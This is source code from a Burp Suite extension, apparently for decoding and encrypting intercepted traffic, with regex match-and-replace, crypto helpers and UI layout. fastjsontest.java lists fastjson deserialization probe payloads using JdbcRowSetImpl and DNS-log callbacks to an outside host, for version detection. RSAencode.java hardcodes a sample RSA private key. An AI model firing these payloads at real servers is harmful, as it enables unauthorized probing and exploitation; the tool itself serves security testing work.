80 | // // get old url 81 | // System.out.println("FOLLOW!"); 82 | // IRequestInfo requestInfo = BurpCallbacks.getInstance().getBurp().getHelpers().analyzeRequest(message); 83 | // URL origUrl = requestInfo.getUrl(); 84 | // 85 | // // create new url 86 | // URL url; 87 | // try { 88 | // url = new URL(origUrl, redirStr); 89 | // } catch (MalformedURLException ex) { 90 | // BurpCallbacks.getInstance().print("302 found, but could not convert location header!"); 91 | // return null; 92 | // } 93 | // 94 | // return url; 95 | // } 96 | // 97 | // 98 | // 99 | // 100 | //} 101 | -------------------------------------------------------------------------------- /src/burp/util/JSONConverter.java: -------------------------------------------------------------------------------- 1 | package burp.util; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import com.alibaba.fastjson.JSONArray; 5 | import com.alibaba.fastjson.JSONObject; 6 | 7 | public class JSONConverter { 8 | public static void main(String[] args) { 9 | // 创建一个JSONObject对象 10 | JSONObject innerJson = new JSONObject(); 11 | innerJson.put("id", "1"); 12 | innerJson.put("value", "first"); 13 | 14 | // 创建一个包含innerJson的JSONArray对象 15 | JSONArray reqpArray = new JSONArray(); 16 | reqpArray.add(innerJson); 17 | 18 | // 创建包含reqpArray的JSONObject对象 19 | JSONObject outerJson = new JSONObject(); 20 | outerJson.put("reqp", reqpArray); 21 | 22 | // 打印JSON表示 23 | System.out.println("JSON: " + outerJson.toJSONString()); 24 | } 25 | } -------------------------------------------------------------------------------- /src/burp/util/TableRead.java: -------------------------------------------------------------------------------- 1 | package burp.util; 2 | 3 | import burp.BurpExtender; 4 | 5 | import java.util.Arrays; 6 | import java.util.regex.Matcher; 7 | import java.util.regex.Pattern; 8 | 9 | import static Utils.Match.MatchReg; 10 | 11 | /** 12 | * @DESCRIPTION: 13 | * @USER: f0ng 14 | * @DATE: 2023/11/20 上午12:48 15 | */ 16 | public class TableRead { 17 | public static String REQUEST = "request"; 18 | public static String RESPONSE = "response"; 19 | public static void main(String[] args) { 20 | String header = "GET /6ONWsjip0QIZ8tyhnq/ps_default.gif?_t=1700485217628 HTTP/1.1\r\n" + 21 | "Host: ss3.baidu.com\r\n" + 22 | "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0\r\n" + 23 | "Accept: image/avif,image/webp,*/*\r\n" + 24 | "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n" + 25 | "Referer: https://www.baidu.com/\r\n" + 26 | "Connection: close\r\n" + 27 | "Cookie: BAIDUID=B2CF572646927252617315D108A6056E:\r\n" + 28 | "Sec-Fetch-Dest: image\r\n" + 29 | "Sec-Fetch-Mode: no-cors\r\n" + 30 | "Sec-Fetch-Site: same-site\r\n" ; 31 | 32 | String body = "\r\n" + 33 | "302 Found\r\n" + 34 | "\r\n" + 35 | "

302 Found

\r\n" + 36 | "
nginx
\r\n" + 37 | "\r\n" + 38 | "\r\n"; 39 | 40 | String Item = "Response body"; 41 | String Match = "

302(.*)ound"; 42 | String Replace = "nginx"; 43 | String Type = "Extract"; 44 | 45 | String[] total = MatchandReplace(header ,body , Type, Item , Match ,Replace,RESPONSE); 46 | System.out.println(total[0]); //header 47 | System.out.println(total[1]); //body 48 | 49 | // System.out.println(MatchRegReqpEx("a: aaaaa,b:aabbaa,c:dddd\r\n","a: (.*),b")); // 使用extract模式请加括号 50 | 51 | } 52 | 53 | public static String[] MatchandReplace(String header, String body , String Type , String Item, String Match, String Replace ,String requestResponse){ 54 | String[] total = new String[2]; 55 | // BurpExtender.stdout.println("Item"); 56 | // BurpExtender.stdout.println(Item); 57 | switch (Item) { 58 | case "Request header": 59 | if (requestResponse.equals(REQUEST)) { 60 | if (Type.equals("Literal")) { 61 | header = header.replace(Match, Replace).replace("\r\n\r\n","\r\n"); 62 | } else if (Type.equals("Regex")) { 63 | String regexmatch = MatchRegReqp(header, Match); 64 | if (!regexmatch.equals("null")) 65 | header = header.replace(regexmatch, Replace).replace("\r\n\r\n","\r\n"); 66 | } else if (Type.equals("Extract")) { //提取模式 67 | String regexmatch = MatchRegReqpEx(header, Match);// 获取提取的数据 68 | if (!regexmatch.equals("null")) { 69 | header = header.replace( regexmatch ,""); // 替换为空 70 | String[] to = Replace.split(""); // 数组拼接 71 | String r = Replace.replace("",""); // 原始位置 72 | BurpExtender.stdout.println(header); 73 | header = header.replace( r ,to[0] + regexmatch + to[1] ).replace("\r\n\r\n","\r\n");// 在替换后的位置进行替换 74 | } 75 | } 76 | break; 77 | } 78 | case "Request body": 79 | if (requestResponse.equals(REQUEST)) { 80 | if (Type.equals("Literal")) { 81 | body = body.replace(Match, Replace); 82 | } else if (Type.equals("Regex")) { 83 | String regexmatch = MatchRegReqp(body, Match); 84 | if (!regexmatch.equals("null")) 85 | body = body.replace(regexmatch, Replace); 86 | } else if (Type.equals("Extract")) { //提取模式 87 | String regexmatch = MatchRegReqpEx(body, Match);// 获取提取的数据 88 | if (!regexmatch.equals("null")) { 89 | body = body.replace( regexmatch ,""); // 替换为空 90 | String[] to = Replace.split(""); // 数组拼接 91 | String r = Replace.replace("",""); // 原始位置 92 | body = body.replace( r ,to[0] + regexmatch + to[1] );// 在替换后的位置进行替换 93 | } 94 | } 95 | break; 96 | } 97 | case "Response header": 98 | if (requestResponse.equals(RESPONSE)) { 99 | if (Type.equals("Literal")) { 100 | header = header.replace(Match, Replace).replace("\r\n\r\n","\r\n"); 101 | } else if (Type.equals("Regex")) { 102 | String regexmatch = MatchRegReqp(header, Match); 103 | if (!regexmatch.equals("null")) 104 | header = header.replace(regexmatch, Replace).replace("\r\n\r\n","\r\n"); 105 | } else if (Type.equals("Extract")) { //提取模式 106 | String regexmatch = MatchRegReqpEx(header, Match);// 获取提取的数据 107 | if (!regexmatch.equals("null")) { 108 | header = header.replace( regexmatch ,""); // 替换为空 109 | String[] to = Replace.split(""); // 数组拼接 110 | String r = Replace.replace("",""); // 原始位置 111 | BurpExtender.stdout.println(header); 112 | header = header.replace( r ,to[0] + regexmatch + to[1] ).replace("\r\n\r\n","\r\n");// 在替换后的位置进行替换 113 | } 114 | } 115 | break; 116 | } 117 | case "Response body": 118 | if (requestResponse.equals(RESPONSE)) { 119 | if (Type.equals("Literal")) { 120 | body = body.replace(Match, Replace); 121 | } else if (Type.equals("Regex")) { 122 | String regexmatch = MatchRegReqp(body, Match); 123 | if (!regexmatch.equals("null")) 124 | body = body.replace(regexmatch, Replace); 125 | }else if (Type.equals("Extract")) { //提取模式 126 | String regexmatch = MatchRegReqpEx(body, Match);// 获取提取的数据 127 | BurpExtender.stdout.println("TableRead"); 128 | BurpExtender.stdout.println(body); 129 | if (!regexmatch.equals("null")) { 130 | body = body.replace( regexmatch ,""); // 替换为空 131 | String[] to = Replace.split(""); // 数组拼接 132 | String r = Replace.replace("",""); // 原始位置 133 | body = body.replace( r ,to[0] + regexmatch + to[1] );// 在替换后的位置进行替换 134 | } 135 | } 136 | break; 137 | } 138 | } 139 | 140 | total = new String[]{header, body}; 141 | 142 | return total; 143 | } 144 | 145 | public static String MatchRegReqp(String data, String reg){ 146 | String total = ""; 147 | String pattern = reg ; 148 | Pattern r = Pattern.compile(pattern); 149 | Matcher m = r.matcher(data); 150 | if (m.find()) { 151 | total = m.group(0); 152 | } 153 | if (total.equals("")){ 154 | return "null"; 155 | } 156 | 157 | return total; 158 | 159 | } 160 | 161 | public static String MatchRegReqpEx(String data, String reg){ 162 | String total = ""; 163 | Pattern r = Pattern.compile(reg); 164 | Matcher m = r.matcher(data); 165 | if (m.find()) { 166 | total = m.group(1); 167 | } 168 | if (total.equals("")){ 169 | return "null"; 170 | } 171 | 172 | return total; 173 | 174 | } 175 | 176 | } 177 | -------------------------------------------------------------------------------- /src/burp/util/autoDecoderutil.java: -------------------------------------------------------------------------------- 1 | package burp.util; 2 | 3 | import burp.BurpExtender; 4 | 5 | import java.io.*; 6 | 7 | /** 8 | * @DESCRIPTION: 9 | * @USER: f0ng 10 | * @DATE: 2023/10/23 下午2:07 11 | */ 12 | public class autoDecoderutil { 13 | public static void main(String[] args) { 14 | String regrex_req = FileGetValue(new File("target/test.properties"),"regrex_req").trim(); // regrex_req 15 | System.out.println(regrex_req); 16 | } 17 | public static String FileGetValue(File f, String key) { // 读取properties文件,根据key取出value 18 | BufferedReader reader = null; 19 | String value = ""; 20 | StringBuffer sbf = new StringBuffer(); 21 | String output = ""; 22 | try { 23 | reader = new BufferedReader(new FileReader(f)); 24 | String tempStr; 25 | while ((tempStr = reader.readLine()) != null) { 26 | sbf.append(tempStr + '\n'); 27 | } 28 | reader.close(); 29 | output = sbf.toString(); 30 | } catch (IOException e) { 31 | } 32 | String[] properties_lists = output.split("\n"); 33 | for (String str : properties_lists) { 34 | String[] str_lists = str.split("=", 2); 35 | if (str_lists[0].equals(key)) 36 | value = str_lists[1]; 37 | } 38 | return value.trim(); 39 | } 40 | 41 | public static String getwords() { // 明文关键字 42 | File f = new File( BurpExtender.getPath() ); 43 | String encodemode = FileGetValue(f,"words"); 44 | return encodemode; 45 | } 46 | 47 | public static String getnotwords() { // 加密关键字 48 | 49 | File f = new File( BurpExtender.getPath() ); 50 | String encodemode = FileGetValue(f,"notwords"); 51 | return encodemode; 52 | } 53 | 54 | public static void createProperties(File f){ 55 | if (!f.exists()) 56 | { 57 | try { 58 | f.createNewFile(); 59 | try (FileWriter fileWriter = new FileWriter(f)) { 60 | fileWriter.append("encodemethod=0"); 61 | fileWriter.append("\n"); 62 | fileWriter.append("encodeapi=http://127.0.0.1:8888/encode"); 63 | fileWriter.append("\n"); 64 | fileWriter.append("decodeapi=http://127.0.0.1:8888/decode"); 65 | fileWriter.append("\n"); 66 | fileWriter.append("encodeheaders=2"); 67 | fileWriter.append("\n"); 68 | fileWriter.append("reqencodemode=DES"); 69 | fileWriter.append("\n"); 70 | fileWriter.append("reqivmode=CBC"); 71 | fileWriter.append("\n"); 72 | fileWriter.append("reqpaddingmode=PKCS5Padding"); 73 | fileWriter.append("\n"); 74 | fileWriter.append("reqsSrcmode=Base64"); 75 | fileWriter.append("\n"); 76 | fileWriter.append("reqkeyivmode=null"); 77 | fileWriter.append("\n"); 78 | fileWriter.append("reqskey=f0ngtest"); 79 | fileWriter.append("\n"); 80 | fileWriter.append("reqiv=f0ngf0ng"); 81 | fileWriter.append("\n"); 82 | 83 | fileWriter.append("respencodemode=DES"); 84 | fileWriter.append("\n"); 85 | fileWriter.append("respivmode=CBC"); 86 | fileWriter.append("\n"); 87 | fileWriter.append("resppaddingmode=PKCS5Padding"); 88 | fileWriter.append("\n"); 89 | fileWriter.append("respsSrcmode=Base64"); 90 | fileWriter.append("\n"); 91 | fileWriter.append("respkeyivmode=null"); 92 | fileWriter.append("\n"); 93 | fileWriter.append("respskey=f0ngtest"); 94 | fileWriter.append("\n"); 95 | fileWriter.append("respiv=f0ngf0ng"); 96 | fileWriter.append("\n"); 97 | 98 | fileWriter.append("hosts=10.211.55.4"); 99 | fileWriter.append("\n"); 100 | fileWriter.append("words=\",:"); 101 | fileWriter.append("\n"); 102 | fileWriter.append("wordsheader=0"); 103 | fileWriter.append("\n"); 104 | fileWriter.append("wordsbody=1"); 105 | fileWriter.append("\n"); 106 | fileWriter.append("notwords="); 107 | fileWriter.append("\n"); 108 | fileWriter.append("notwordsheader=0"); 109 | fileWriter.append("\n"); 110 | fileWriter.append("notwordsbody=1"); 111 | fileWriter.append("\n"); 112 | fileWriter.append("regrex_req="); 113 | fileWriter.append("\n"); 114 | fileWriter.append("regrex_resp="); 115 | fileWriter.append("\n"); 116 | 117 | fileWriter.append("Proxy=1"); 118 | fileWriter.append("\n"); 119 | fileWriter.append("Repeater=1"); 120 | fileWriter.append("\n"); 121 | fileWriter.append("Intruder=1"); 122 | fileWriter.append("\n"); 123 | fileWriter.append("Extender=0"); 124 | fileWriter.append("\n"); 125 | 126 | fileWriter.append("selfurl=0"); 127 | fileWriter.append("\n"); 128 | fileWriter.append("selfencodeurl=0"); 129 | fileWriter.append("\n"); 130 | fileWriter.append("headerencode=0"); 131 | fileWriter.append("\n"); 132 | fileWriter.append("reqresp=0"); 133 | fileWriter.append("\n"); 134 | fileWriter.append("reqbase64=0"); 135 | fileWriter.append("\n"); 136 | fileWriter.append("respbase64=0"); 137 | fileWriter.append("\n"); 138 | fileWriter.append("autobase64resp=0"); 139 | 140 | fileWriter.flush(); 141 | } catch (IOException e) { e.printStackTrace(); } 142 | } catch (IOException e) { e.printStackTrace(); } 143 | } 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /src/burp/util/fastjsontest.java: -------------------------------------------------------------------------------- 1 | package burp.util; 2 | 3 | import java.util.ArrayList; 4 | 5 | /** 6 | * @DESCRIPTION: 7 | * @USER: f0ng 8 | * @DATE: 2024/2/21 下午1:06 9 | */ 10 | public class fastjsontest { 11 | public static void main(String[] args) { 12 | 13 | // fastjson<=1.2.24以及fastjson=1.2.83 14 | String fastjson_baocuo_7 = "{\"page\":{\"pageNumber\":1,\"pageSize\":1,\"zero\":{\"@type\":\"java.lang.Exception\"," + 15 | "\"@type\":\"org.XxException\"}}}"; 16 | 17 | // fastjson<=1.2.68 18 | String fastjson_baocuo_8 = "{\"page\":{\"pageNumber\":1,\"pageSize\":1,\"zero\":{\"@type\":\"java.lang" + 19 | ".AutoCloseable\",\"@type\":\"java.io.ByteArrayOutputStream\"}}}"; 20 | 21 | // 1.2.9<=fastjson<=1.2.47 22 | String fastjson_baocuo_9 = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + 23 | "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"}}"; 24 | 25 | // fastjson<=1.2.47 26 | String fastjson_baocuo_10 = "{\"zero\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\"}}"; 27 | 28 | getfastjsonDnslog("1.dnslog.cn"); 29 | 30 | 31 | } 32 | 33 | public static ArrayList getfastjsonDnslog(String dnslog){ 34 | 35 | ArrayList stringList = new ArrayList(); 36 | 37 | // 1.2.9-1.2.83 38 | String fastjson_dns_1 = "Set[{\"@type\":\"java.net.URL\",\"val\":\"http://dayu9.{{URL}}\"}"; 39 | 40 | // 1.2.9-1.2.47 41 | String fastjson_dns_2 = "{\"name\":{\"@type\":\"java.net.InetAddress\",\"val\":\"dayu9xiaoyu47.{{URL}}\"}}"; 42 | 43 | 44 | // 1.2.37-1.2.68 45 | String fastjson_dns_3 = "{\"a\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.alibaba.fastjson" + 46 | ".JSONReader\",\"reader\":{\"@type\":\"jdk.nashorn.api.scripting.URLReader\",\"url\":\"http://dayu37xiaoyu68" + 47 | ".{{URL}}\"}}}"; 48 | 49 | // 1.2.9-1.2.68 50 | String fastjson_dns_4 = "[{\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"java.io" + 51 | ".ByteArrayOutputStream\"},{\"@type\": \"java.io.ByteArrayOutputStream\"},{\"@type\": \"java.net" + 52 | ".InetSocketAddress\"{\"address\":,\"val\": \"dayu9xiaoyu68.{{URL}}\"}}]"; 53 | 54 | // 1.2.9<=fastjson<=1.2.24以及1.2.40<=fastjson<=1.2.47 55 | String fastjson_dns_5 = "[{\"@type\":\"java.lang.Class\",\"val\":\"java.io.ByteArrayOutputStream\"}," + 56 | "{\"@type\":\"java.io.ByteArrayOutputStream\"},{\"@type\":\"java.net" + 57 | ".InetSocketAddress\"{\"address\":,\"val\":\"dayu9xiaoyu24ordayu40xiaoyu47.{{URL}}\"}}]"; 58 | 59 | // fastjson>=1.2.9以及fastjson=1.2.83 60 | String fastjson_dns_6 = "[{\"@type\":\"java.lang.Exception\",\"@type\":\"com.alibaba.fastjson" + 61 | ".JSONException\",\"x\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"dayu9" + 62 | ".{{URL}}\"}}},{\"@type\":\"java.lang.Exception\",\"@type\":\"com.alibaba.fastjson.JSONException\"," + 63 | "\"message\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"83.{{URL}}\"}}}]"; 64 | 65 | stringList.add(fastjson_dns_1); 66 | stringList.add(fastjson_dns_2); 67 | stringList.add(fastjson_dns_3); 68 | stringList.add(fastjson_dns_4); 69 | stringList.add(fastjson_dns_5); 70 | stringList.add(fastjson_dns_6); 71 | 72 | for ( String i :stringList){ 73 | System.out.println(i.replace("{{URL}}",dnslog)); 74 | 75 | } 76 | return stringList; 77 | 78 | } 79 | 80 | 81 | } 82 | -------------------------------------------------------------------------------- /src/burp/util/guitool.java: -------------------------------------------------------------------------------- 1 | package burp.util; 2 | 3 | import javax.swing.*; 4 | 5 | import java.awt.*; 6 | 7 | import static burp.IndexautoDecoder.*; 8 | 9 | /** 10 | * @DESCRIPTION: 11 | * @USER: f0ng 12 | * @DATE: 2023/10/23 下午2:16 13 | */ 14 | public class guitool { 15 | public static void layout321(GroupLayout layout3_2, Label labelDatatest, JPanel Datatestpanel ,JButton testDecodejb,JButton testEncodejb,Label labelDatatestOutput , JPanel DatatestpanelOutput){ 16 | layout3_2.setHorizontalGroup(layout3_2.createSequentialGroup() 17 | .addGroup(layout3_2.createParallelGroup(GroupLayout.Alignment.CENTER) 18 | .addComponent(RadioButtontestEncode) 19 | .addComponent(RadioButtontestHeader) 20 | .addComponent(labelDatatest) 21 | .addComponent(Datatestpanel)) 22 | 23 | .addGroup(layout3_2.createParallelGroup(GroupLayout.Alignment.CENTER) 24 | .addComponent(testDecodejb)) 25 | 26 | 27 | .addGroup(layout3_2.createParallelGroup(GroupLayout.Alignment.CENTER) 28 | .addComponent(testEncodejb)) 29 | 30 | 31 | .addGroup(layout3_2.createParallelGroup(GroupLayout.Alignment.CENTER) 32 | .addComponent(RadioButtontestDecode) 33 | .addComponent(RadioButtontestdifferent) 34 | .addComponent(labelDatatestOutput) 35 | .addComponent(DatatestpanelOutput)) 36 | ); 37 | } 38 | 39 | public static void layout322(GroupLayout layout3_2, Label labelDatatest, JPanel Datatestpanel ,JButton testDecodejb,JButton testEncodejb,Label labelDatatestOutput , JPanel DatatestpanelOutput){ 40 | layout3_2.setVerticalGroup(layout3_2.createSequentialGroup() 41 | .addGroup(layout3_2.createParallelGroup(GroupLayout.Alignment.CENTER) 42 | .addComponent(RadioButtontestEncode) 43 | .addComponent(RadioButtontestDecode)) 44 | 45 | .addGroup(layout3_2.createParallelGroup(GroupLayout.Alignment.CENTER) 46 | .addComponent(RadioButtontestHeader) 47 | .addComponent(RadioButtontestdifferent)) 48 | 49 | .addGroup(layout3_2.createParallelGroup(GroupLayout.Alignment.CENTER) 50 | .addComponent(labelDatatest) 51 | .addComponent(labelDatatestOutput)) 52 | 53 | .addGroup(layout3_2.createParallelGroup(GroupLayout.Alignment.CENTER) 54 | .addComponent(Datatestpanel) 55 | .addComponent(testDecodejb) 56 | .addComponent(testEncodejb) 57 | .addComponent(DatatestpanelOutput)) 58 | ); 59 | } 60 | 61 | public static void layout311(GroupLayout layout3_1,JLabel label8 , JTextField textField4, JLabel label9, JTextField textField3){ 62 | layout3_1.setHorizontalGroup(layout3_1.createSequentialGroup() 63 | .addGroup(layout3_1.createParallelGroup(GroupLayout.Alignment.TRAILING) 64 | .addComponent(label8)) 65 | 66 | .addGroup(layout3_1.createParallelGroup(GroupLayout.Alignment.LEADING) 67 | .addComponent(textField4)) 68 | 69 | .addGroup(layout3_1.createParallelGroup(GroupLayout.Alignment.TRAILING) 70 | .addComponent(label9)) 71 | 72 | .addGroup(layout3_1.createParallelGroup(GroupLayout.Alignment.LEADING) 73 | .addComponent(textField3)) 74 | ); 75 | } 76 | 77 | public static void layout312(GroupLayout layout3_1,JLabel label8 , JTextField textField4, JLabel label9, JTextField textField3){ 78 | layout3_1.setVerticalGroup(layout3_1.createSequentialGroup() 79 | .addGroup(layout3_1.createParallelGroup(GroupLayout.Alignment.BASELINE) 80 | .addComponent(label8) 81 | .addComponent(textField4) 82 | .addComponent(label9) 83 | .addComponent(textField3)) 84 | ); 85 | } 86 | 87 | public static void layout231(GroupLayout layout2_3,JLabel labelreg , JLabel labelreg_resp, JPanel js11, JPanel js11_resp,JLabel labelregr, JLabel labelregr_resp,JButton buttontiqu , JButton buttontiqu_resp , JScrollPane js22, JScrollPane js22_resp){ 88 | layout2_3.setHorizontalGroup(layout2_3.createSequentialGroup() 89 | .addGroup(layout2_3.createParallelGroup(GroupLayout.Alignment.TRAILING) 90 | .addComponent(labelreg) 91 | .addComponent(labelreg_resp) 92 | ) 93 | 94 | .addGroup(layout2_3.createParallelGroup(GroupLayout.Alignment.LEADING) 95 | .addComponent(js11) 96 | .addComponent(js11_resp) 97 | ) 98 | 99 | .addGroup(layout2_3.createParallelGroup(GroupLayout.Alignment.TRAILING) 100 | .addComponent(labelregr) 101 | .addComponent(labelregr_resp) 102 | ) 103 | 104 | .addGroup(layout2_3.createParallelGroup(GroupLayout.Alignment.LEADING) 105 | .addComponent(regtextField) 106 | .addComponent(regtextField_resp) 107 | ) 108 | 109 | .addGroup(layout2_3.createParallelGroup(GroupLayout.Alignment.TRAILING) 110 | .addComponent(buttontiqu) 111 | .addComponent(buttontiqu_resp) 112 | ) 113 | 114 | .addGroup(layout2_3.createParallelGroup(GroupLayout.Alignment.LEADING) 115 | .addComponent(js22) 116 | .addComponent(js22_resp) 117 | ) 118 | 119 | ); 120 | } 121 | 122 | public static void layout232(GroupLayout layout2_3,JLabel labelreg , JLabel labelreg_resp, JPanel js11, JPanel js11_resp,JLabel labelregr, JLabel labelregr_resp,JButton buttontiqu , JButton buttontiqu_resp , JScrollPane js22, JScrollPane js22_resp){ 123 | layout2_3.setVerticalGroup(layout2_3.createSequentialGroup() 124 | .addGroup(layout2_3.createParallelGroup(GroupLayout.Alignment.BASELINE) 125 | .addComponent(labelreg) 126 | .addComponent(js11) 127 | .addComponent(labelregr) 128 | .addComponent(regtextField) 129 | .addComponent(buttontiqu) 130 | .addComponent(js22)) 131 | 132 | .addGroup(layout2_3.createParallelGroup(GroupLayout.Alignment.BASELINE) 133 | .addComponent(labelreg_resp) 134 | .addComponent(js11_resp) 135 | .addComponent(labelregr_resp) 136 | .addComponent(regtextField_resp) 137 | .addComponent(buttontiqu_resp) 138 | .addComponent(js22_resp) 139 | ) 140 | ); 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /src/com/autoDecoder/util/RSAencode.java: -------------------------------------------------------------------------------- 1 | package com.autoDecoder.util; 2 | 3 | //import sun.misc.BASE64Decoder; 4 | //import sun.misc.BASE64Encoder; 5 | import org.apache.commons.codec.binary.Base64; 6 | import java.security.interfaces.RSAPrivateKey; 7 | import java.security.interfaces.RSAPublicKey; 8 | import javax.crypto.Cipher; 9 | import java.security.KeyFactory; 10 | import java.security.Security; 11 | import java.security.spec.PKCS8EncodedKeySpec; 12 | import java.security.spec.X509EncodedKeySpec; 13 | import java.util.Map; 14 | import java.util.HashMap; 15 | import java.security.KeyPairGenerator; 16 | import java.security.SecureRandom; 17 | import java.security.KeyPair; 18 | 19 | public class RSAencode { 20 | /** 21 | * 密钥长度 于原文长度对应 以及越长速度越慢 22 | */ 23 | private final static int KEY_SIZE = 1024; 24 | /** 25 | * 用于封装随机产生的公钥与私钥 26 | */ 27 | private static Map keyMap = new HashMap(); 28 | 29 | public static void main(String[] args) { 30 | 31 | //解密数据 32 | try { 33 | //生成公钥和私钥 34 | String publicKeyString = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYCJiMg0LijRpYLwj+j2VoESWhX8+WJDqlv2hoamqWGouqR2jdBP7IIXtbCyb1bPO2qbkyzYkyrQRMg6dqIXMZz8OPHgdSipWcJrqBNhMT20g6KREMakCN2HRswhFfpTmPAXHv5woFJWxYoPKE+aF5LKBjWtWcv8SmTkB5DQ+5iQIDAQAB"; 35 | keyMap.put(0,publicKeyString ); 36 | // System.out.println(publicKeyString); 37 | //1表示私钥 38 | String privateKeyString = "MIICXgIBAAKBgQCYCJiMg0LijRpYLwj+j2VoESWhX8+WJDqlv2hoamqWGouqR2jdBP7IIXtbCyb1bPO2qbkyzYkyrQRMg6dqIXMZz8OPHgdSipWcJrqBNhMT20g6KREMakCN2HRswhFfpTmPAXHv5woFJWxYoPKE+aF5LKBjWtWcv8SmTkB5DQ+5iQIDAQABAoGBAJBK2D3D9p7+PJqlSWwQvLXgUE6wmFxvVhopZ/ZxyWddGmEqFSRvsUBQRrtKAle8aDJdMyA8YpJuEz5rVWEtDgdfvc4+I8B+BKD2jI5lQ2yCtTsSy5CohE8XFEKovxdgWEergbwIUtfdd730avM1Pc/kwTs/b7bAJPVH/ukkEznhAkEA4JvXMljsxFNPo7XfWkj94gDYJnGqOqB1xgTt6ilbSFxXSo9GI8frJVHhzd3+br19SB87oSDpOSP3lWL4rc+gGwJBAK1IID89RPCdHPQYqfNsPUMf8lMyvw25WZS1yRItn0g4je6fmDzTZ0bMFgmq91islMpjuCLkc5WHJHprkpnOzysCQQCsUsRbC2C0C5sZZkszcLbgc3din2hUTJGvWE7UjeBL9xS9zoiooRRm8JiGouA3REhfUh8ksyRcQ50LTwCuEZKrAkA5QabeHomkE9YYVfn6JB7OCkVQ9mioyUDvYW3SIt8Jxx4m5fcwyg3LF+6EPUjDtSrpATA7307N7ry/8sGbLvnHAkEAj7PH1hPyxUCzBFYLt3+Yu7F2S5Z+jct6jEgBGZsGHBeaEtzPibrsEfNpy3JUr2z2JKYR8NK/x0666NMrggLCKw=="; 39 | keyMap.put(1, privateKeyString ); 40 | // System.out.println(privateKeyString); 41 | // genKeyPair(); 42 | String publicKey = keyMap.get(0); 43 | System.out.println("公钥:" + publicKey); 44 | String privateKey = keyMap.get(1); 45 | System.out.println("私钥:" + privateKey); 46 | 47 | String orgData = "123456781668745014120123D"; 48 | System.out.println("原数据:" + orgData); 49 | String encryptStr = encrypt(orgData,publicKey); 50 | System.out.println("加密结果:" + encryptStr); 51 | 52 | String decryptStr = decrypt(encryptStr,privateKey); 53 | System.out.println("解密结果:" + decryptStr); 54 | 55 | } catch (Exception e) { 56 | e.printStackTrace(); 57 | } 58 | } 59 | 60 | /** 61 | * RSA公钥加密 62 | * 63 | * @param str 加密字符串 64 | * @param publicKey 公钥 65 | * @return 密文 66 | * @throws Exception 加密过程中的异常信息 67 | */ 68 | public static String encrypt(String str,String publicKey) throws Exception { 69 | //base64编码的公钥 70 | byte[] decoded = decryptBASE64(publicKey); 71 | Security.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider()); 72 | RSAPublicKey pubKey = (RSAPublicKey) KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(decoded)); 73 | //RSA加密 74 | Cipher cipher = Cipher.getInstance("RSA"); 75 | cipher.init(Cipher.ENCRYPT_MODE, pubKey); 76 | String outStr = encryptBASE64(cipher.doFinal(str.getBytes("UTF-8"))); 77 | return outStr; 78 | } 79 | 80 | /** 81 | * RSA私钥解密 82 | * 83 | * @param str 加密字符串 84 | * @param privateKey 私钥 85 | * @return 明文 86 | * @throws Exception 解密过程中的异常信息 87 | */ 88 | public static String decrypt(String str, String privateKey) throws Exception { 89 | //64位解码加密后的字符串 90 | byte[] inputByte = decryptBASE64(str); 91 | //base64编码的私钥 92 | byte[] decoded = decryptBASE64(privateKey); 93 | Security.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider()); 94 | RSAPrivateKey priKey = (RSAPrivateKey) KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(decoded)); 95 | //RSA解密 96 | Cipher cipher = Cipher.getInstance("RSA"); 97 | cipher.init(Cipher.DECRYPT_MODE, priKey); 98 | String outStr = new String(cipher.doFinal(inputByte)); 99 | return outStr; 100 | } 101 | 102 | //编码返回字符串 103 | public static String encryptBASE64(byte[] key) throws Exception { 104 | return Base64.encodeBase64String(key); 105 | } 106 | 107 | //解码返回byte 108 | public static byte[] decryptBASE64(String key) throws Exception { 109 | return Base64.decodeBase64(key); 110 | } 111 | 112 | 113 | 114 | // /** 115 | // * 随机生成密钥对 116 | // * @throws Exception 117 | // */ 118 | // public static void genKeyPair() throws Exception { 119 | // // KeyPairGenerator类用于生成公钥和私钥对,基于RSA算法生成对象 120 | // KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA"); 121 | // // 初始化密钥对生成器 122 | // keyPairGen.initialize(KEY_SIZE, new SecureRandom()); 123 | // // 生成一个密钥对,保存在keyPair中 124 | // KeyPair keyPair = keyPairGen.generateKeyPair(); 125 | // // 得到私钥 126 | // RSAPrivateKey privateKey = (RSAPrivateKey) keyPair.getPrivate(); 127 | // // 得到公钥 128 | // RSAPublicKey publicKey = (RSAPublicKey) keyPair.getPublic(); 129 | // String publicKeyString = encryptBASE64(publicKey.getEncoded()); 130 | // // 得到私钥字符串 131 | // String privateKeyString = encryptBASE64(privateKey.getEncoded()); 132 | // // 将公钥和私钥保存到Map 133 | // //0表示公钥 134 | // keyMap.put(0, publicKeyString); 135 | // System.out.println(publicKeyString); 136 | // //1表示私钥 137 | // keyMap.put(1, privateKeyString); 138 | // System.out.println(privateKeyString); 139 | // } 140 | } -------------------------------------------------------------------------------- /src/com/autoDecoder/util/SM4.java: -------------------------------------------------------------------------------- 1 | package com.autoDecoder.util; 2 | 3 | /** 4 | * Created by $(USER) on $(DATE) 5 | */ 6 | 7 | import java.io.ByteArrayInputStream; 8 | import java.io.ByteArrayOutputStream; 9 | import java.util.Arrays; 10 | 11 | public class SM4 { 12 | public static final int SM4_ENCRYPT = 1; 13 | 14 | public static final int SM4_DECRYPT = 0; 15 | 16 | private long GET_ULONG_BE(byte[] b, int i) { 17 | long n = (long) (b[i] & 0xff) 